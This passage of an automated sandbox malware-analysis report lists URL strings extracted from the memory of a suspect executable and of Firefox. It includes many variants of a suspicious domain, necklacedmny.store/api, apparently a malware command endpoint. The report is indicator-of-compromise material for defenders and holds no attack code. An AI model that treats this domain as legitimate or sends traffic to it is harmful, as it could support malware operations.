Source: file.exe, 00000000.00000003.1340877623.000000000572E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340970674.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2306562309.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2308035075.0000000000E04000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283284801.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2285683190.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300426734.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325695916.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2306687655.0000000000E02000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2306628908.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2534728994.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300881497.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.1328162370.0000000005730000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1328308181.0000000005733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/((
Source: 100bc97ff1.exe, 00000013.00000003.2269828204.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/.
Source: file.exe, 00000000.00000003.1510540713.0000000005722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/18
Source: file.exe, 00000000.00000003.1358610666.0000000001140000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358231730.0000000001139000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358269876.000000000113E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358131343.000000000112E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358160028.0000000001136000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358182199.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/2
Source: 100bc97ff1.exe, 00000013.00000003.2325695916.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2284782172.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2534728994.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/6
Source: file.exe, 00000000.00000003.1341021318.000000000572E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1341227914.000000000572F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340877623.000000000572E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/G
Source: file.exe, 00000000.00000003.1510540713.0000000005722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/I83
Source: 100bc97ff1.exe, 00000015.00000002.2538720505.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/P
Source: file.exe, 00000000.00000003.1341021318.000000000572E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1341227914.000000000572F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1340877623.000000000572E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/W
Source: file.exe, file.exe, 00000000.00000003.1356311338.000000000573E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1375308946.000000000113C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1376008712.000000000113E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1356036529.0000000005738000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510608776.0000000001133000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510713355.000000000111F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510777473.0000000001136000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358131343.000000000112E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1375963006.0000000001134000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358160028.0000000001136000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1375452154.000000000113E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1375979207.000000000113A000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2559898782.00000000056F0000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2284289932.0000000000E01000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2284222994.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269895043.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300426734.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269779163.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510608776.0000000001133000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510777473.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api#
Source: 100bc97ff1.exe, 00000013.00000002.2559898782.00000000056F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiD
Source: 100bc97ff1.exe, 00000013.00000003.2269895043.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269779163.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269924686.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiF
Source: 100bc97ff1.exe, 00000015.00000003.2474497787.00000000013A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiJ9
Source: 100bc97ff1.exe, 00000015.00000002.2534637202.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiV
Source: file.exe, 00000000.00000003.1358131343.000000000112E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1358160028.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apisQ-1
Source: 100bc97ff1.exe, 00000015.00000002.2534637202.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apitat
Source: 100bc97ff1.exe, 00000013.00000003.2251676644.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiws
Source: 100bc97ff1.exe, 00000013.00000002.2538318923.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api~
Source: 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/p
Source: file.exe, 00000000.00000003.1386600765.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/r
Source: 100bc97ff1.exe, 00000013.00000003.2304213166.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/~
Source: 100bc97ff1.exe, 00000015.00000002.2534637202.0000000001325000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apil
Source: 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/apinecklacedmny.storenecklacedmny.store
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000024.00000002.2926560740.000001DF1C894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000024.00000002.2951762361.000001DF201E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2924896477.000001DF1C617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/main/url-classifier-skip-urls
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2924896477.000001DF1C617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000024.00000002.2942538324.000001DF1F95C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000024.00000002.2942538324.000001DF1F95C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/Extensions
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/This
Source: firefox.exe, 00000024.00000002.2913857704.000001DF1BC12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userREADER_MODE_DOWNLOAD_RESULT
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2954748532.000001DF205C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2957011320.000001DF207C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2959294479.000001DF20A93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2954748532.000001DF205C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF20912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000024.00000002.2947940979.000001DF1FECB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2913857704.000001DF1BC43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2926560740.000001DF1C8F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2796802534.000001DF1A7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2949252169.000001DF1FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2481478115.000001DF212A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2966341812.000001DF212A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000024.00000002.2949252169.000001DF1FFBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 00000024.00000002.2971880123.000001DF22206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpSELECT
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2971174931.000001DF22184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000024.00000002.2971880123.000001DF222A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsresource://devtools/client/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/update-firefox-latest-release
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesCaptiveProtalDetector
Source: 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000024.00000002.2945767195.000001DF1FDD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939059003.000001DF1F2E0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939059003.000001DF1F2E0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939059003.000001DF1F2E0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939059003.000001DF1F2E0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000024.00000002.2935278544.000001DF1EDA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2473695285.000001DF22BD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000024.00000003.2405355809.000001DF1EB40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=app-builtin:wikipedia
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=resource://gre/modules/FxAccountsCommands.sys.mjs
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: file.exe, 00000000.00000003.1342792101.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2300912245.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2329858713.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2309734224.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2301246829.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357249097.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325565887.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2473488619.00000000013AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2954748532.000001DF205C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000024.00000002.2947940979.000001DF1FECB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2542266761.000000BA7F8FC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2939626250.000001DF1F475000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2913857704.000001DF1BC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000024.00000002.2939626250.000001DF1F438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20256000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/anything/?
Source: 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: firefox.exe, 00000024.00000002.2949252169.000001DF1FFBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: firefox.exe, 00000024.00000002.2956116951.000001DF206F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1342345651.0000000005A4D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2286841217.0000000005813000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2456315969.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2945767195.000001DF1FDD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2967410154.000001DF2151C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: firefox.exe, 00000024.00000002.2949252169.000001DF1FFBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
